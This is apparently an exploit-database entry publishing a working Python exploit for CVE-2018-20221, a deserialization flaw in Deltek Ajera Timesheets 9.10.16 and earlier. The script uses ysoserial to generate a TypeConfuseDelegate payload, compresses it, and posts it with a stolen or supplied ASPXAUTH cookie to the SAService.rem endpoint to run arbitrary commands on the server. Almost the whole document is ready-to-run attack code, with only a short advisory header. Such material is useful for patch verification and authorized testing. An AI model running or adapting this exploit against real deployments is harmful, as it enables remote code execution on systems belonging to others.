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Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data Exploit

Author
Anthony Cole
Risk
[
Security Risk High
]
0day-ID
0day-ID-31890
Category
web applications
Date add
07-01-2019
CVE
CVE-2018-20221
Platform
windows
# Exploit Title: Ajera Timesheets <= 9.10.16 - Deserialization of untrusted data
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.deltek.com/en/products/project-erp/ajera
# Version: <= 9.10.16
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2012
# CVE: CVE-2018-20221
# Category: webapps
#   
# Ajera is a software written in .NET by Deltek. Version <= 9.10.16 allows an attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# Secure/SAService.rem in Deltek Ajera Timesheets <= 9.10.16 are vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the IIS Application Pool that is running the application.
#  

import struct, sys, requests, zlib, argparse, urlparse, subprocess

def run_command(command):
	p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
	output = b''
	for line in iter(p.stdout.readline, b''):
		output += line
		
	return output

def isurl(urlstr):
	try:
		urlparse.urlparse(urlstr)
		return urlstr
	except:
		raise argparse.ArgumentTypeError("invalid url")

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description='Ajera .NET Remoting Exlpoit')
	parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
	parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
	parser.add_argument("--auth", "-a", required=True, help="the ASPXAUTH cookie")
	parser.add_argument("--version", "-v", required=False, help="the version of Ajera Server. 8.9.9.0 => 8990", default="8990")
	parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.exe")
	parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
	args = parser.parse_args()
	
	url_parts = urlparse.urlparse(args.url)
	target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
	
	proxies = {}
	if(args.proxy != None):
		proxy_parts = urlparse.urlparse(args.proxy)
		proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
	
	cmd = "/c " + args.cmd
	size = len(cmd)
	
	serial_payload = run_command('%s -o raw -g TypeConfuseDelegate -f BinaryFormatter -c "%s"' % (args.ysoserial, args.cmd))
	
	url = target_url + "/ajera/Secure/SAService.rem"
	headers = {'Content-Type': 'application/octet-stream'}
	cookies = {'.ASPXAUTH': args.auth}
	payload = "\x04" + args.version + zlib.compress(serial_payload)
	response = requests.post(url, headers=headers, cookies=cookies, data=payload, proxies=proxies, verify=False)

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